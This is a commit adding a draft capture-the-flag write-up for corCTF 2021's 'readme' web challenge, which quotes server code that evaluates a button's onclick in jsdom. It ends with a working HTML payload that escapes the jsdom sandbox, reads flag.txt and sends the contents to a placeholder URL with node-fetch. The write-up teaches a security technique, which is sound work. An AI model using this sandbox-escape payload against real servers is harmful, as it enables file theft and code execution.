2021: corctf: draft work on readme
This commit is contained in:
parent
b1db324231
commit
89ded5b79b
|
@ -0,0 +1,69 @@
|
||||||
|
# DRAFT : NOT FINISHED
|
||||||
|
|
||||||
|
# readme
|
||||||
|
|
||||||
|
by [5225225](https://www.5snb.club)
|
||||||
|
|
||||||
|
web / 478 pts / 46 solves
|
||||||
|
|
||||||
|
> My new site readme is the ultimate tool for readers everywhere. Remove
|
||||||
|
clutter from any site and also fetch the next chapters with the click of
|
||||||
|
a button.
|
||||||
|
|
||||||
|
provided files: [readme.tar](readme.tar) (Original extension was incorrectly `.tar.xz`)
|
||||||
|
|
||||||
|
## solution
|
||||||
|
|
||||||
|
Here, you were given a website with some server-side code to process a URL
|
||||||
|
given to convert it to reader mode, using [mozilla's readability
|
||||||
|
library](https://github.com/mozilla/readability). I wasn't expecting
|
||||||
|
a vulnerability in there, but `readme` also had the feature that it would try
|
||||||
|
and go to things that looked like they were the next page. I won't paste the
|
||||||
|
full `index.js` from the tar file, but the relevant section is
|
||||||
|
|
||||||
|
```js
|
||||||
|
/**
|
||||||
|
* Helper function to try and retrieve the next section of a site if it exists.
|
||||||
|
*/
|
||||||
|
const loadNextPage = async (dom, socket) => {
|
||||||
|
let targets = [
|
||||||
|
...Array.from(dom.window.document.querySelectorAll("a")),
|
||||||
|
...Array.from(dom.window.document.querySelectorAll("button"))
|
||||||
|
];
|
||||||
|
targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));
|
||||||
|
|
||||||
|
if(targets.length == 0) return;
|
||||||
|
let target = targets[targets.length - 1];
|
||||||
|
|
||||||
|
if(target.tagName === "A") {
|
||||||
|
let newDom = await refetch(socket, target.href);
|
||||||
|
return newDom;
|
||||||
|
}
|
||||||
|
else if(target.tagName === "BUTTON") {
|
||||||
|
dom.window.eval(target.getAttribute("onclick"));
|
||||||
|
return dom;
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
This will look for `a` tags as well as `button`s. The ability to load a new
|
||||||
|
page is not all that interesting here, so I skipped looking at the handling for
|
||||||
|
`a` tags. The evaluation of `button`s is interesting, as it uses
|
||||||
|
[jsdom](https://github.com/jsdom/jsdom) to interpret the `onclick` of the given
|
||||||
|
page.
|
||||||
|
|
||||||
|
You can't *directly* access properties exposed, but you can do a sandbox escape
|
||||||
|
using the global constructor given.
|
||||||
|
|
||||||
|
<!--TODO: find wherever I got this from it was a stack overflow article and i cannot find it anymore-->
|
||||||
|
|
||||||
|
```html
|
||||||
|
<p id="hello">Hello, World!</p>
|
||||||
|
<button class="next" onclick="global.constructor.constructor('return process')().mainModule.require('fs').readFile('flag.txt', 'utf8', function(err, fuck) {
|
||||||
|
const mod = global.constructor.constructor('return process')().mainModule;
|
||||||
|
const fetch = mod.require('node-fetch');
|
||||||
|
fetch('<URL>' + fuck)
|
||||||
|
})">Butt</button>
|
||||||
|
```
|
Binary file not shown.
Loading…
Reference in New Issue